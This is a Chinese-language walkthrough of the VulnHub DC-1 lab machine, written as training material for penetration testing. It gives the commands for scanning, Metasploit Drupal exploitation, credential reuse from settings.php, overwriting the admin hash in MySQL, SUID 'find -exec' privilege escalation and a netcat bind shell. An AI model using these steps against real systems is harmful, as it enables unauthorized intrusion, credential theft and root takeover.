基于vulnhub的DC-1靶机的渗透测试
实验准备
靶机下载:https://www.vulnhub.com/entry/dc-1,292/
DC1需要找到5个flag,最终目标是在root的主目录中找到并读取该标志!
kali要桥接
信息收集
查看kali的IP
发现IP为
192.168.1.101 |
使用nmap扫描靶机IP
其中192.168.1.107是我本机IP,则靶机可能的IP为
192.168.1.102 |
接下来ping测试
发现192.168.1.103和192.168.1.106ping不通,则靶机ip为
192.168.1.102 |
继续查看端口开放状态
nmap -sC -sV 192.168.1.102 -p- --min-rate=2000 -n -vv |
发现开放了22端口(ssh),80端口(http),111和60431端口,并且采用的是Drupal 7框架,有个robots.txt
边界突破
访问网站
判断为动态网站
查看robots.txt
没有发现有用的信息
目录扫描
dirb http://192.168.1.102 |
发现几个可疑目录
admin,root,user,/includes/Root,访问后如下
使用Metasploit framework搜索Drupal
search Drupal |
尝试利用第一个
use exploit/unix/webapp/drupal_coder_exec |
接下来需要配置rhost,如果第一次使用可能需还要配置lhost和lport,即监听机的ip和端口
然后exploit
或者 run
发现失败了
尝试第二个,发现成功
执行命令shell命令获得shell
使用python反弹shell,获得更好的交互体验
python -c 'import pty;pty.spawn("/bin/bash")' |
使用ls
查看当前目录下文件
发现有个flag1.txt文件,使用cat命令查看
flag1:“每一个好的内容管理系统 都需要一个配置文件”——配置文件里面肯定有东西
进入sites/dafault,发现有个settings.php
查看settings.php
发现flag2
flag2 |
同时发现数据库的库名(drupaldb),用户名(dbuser)和密码(R0ck3t)
尝试登录数据库
mysql -udbuser -pR0ck3t |
查询users表
select * from users; |
发现有两个用户admin和Fred,但密码经过加密
退出数据库,尝试修改admin的密码
cd /var/www/ |
得到’123’哈希加密后的密码
$S$D0jEFt4XLx.7zA5.tCIDN2GBMsL2W6jtMxr6fE7Lt/Mct6ctCkqD |
进入数据库,修改admin密码
mysql -udbuser -pR0ck3t |
此时查看users表
select * from users; |
可见admin的密码已经修改为123哈希加密后的密码
登录网站后台
登录成功
点击Find content
发现flag3,点击edit查看
得到flag3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow. |
find / -type f -perm -u=s 2>/dev/null |
未发现有用的信息,查看/etc/passwd
cat /etc/passwd |
发现有个flag4的用户
进入flag4目录,发现有个flag4.txt,查看得到flag4
flag4
Can you use this same method to find or access the flag in root? |
接下来尝试获取最终flag
方法一:
find ./ aaa -exec '/bin/sh' \; |
得到root权限
方法二:
find flag4.txt -exec nc -lvp 2333 -e /bin/sh \; |
查看/root目录
得到thefinalflag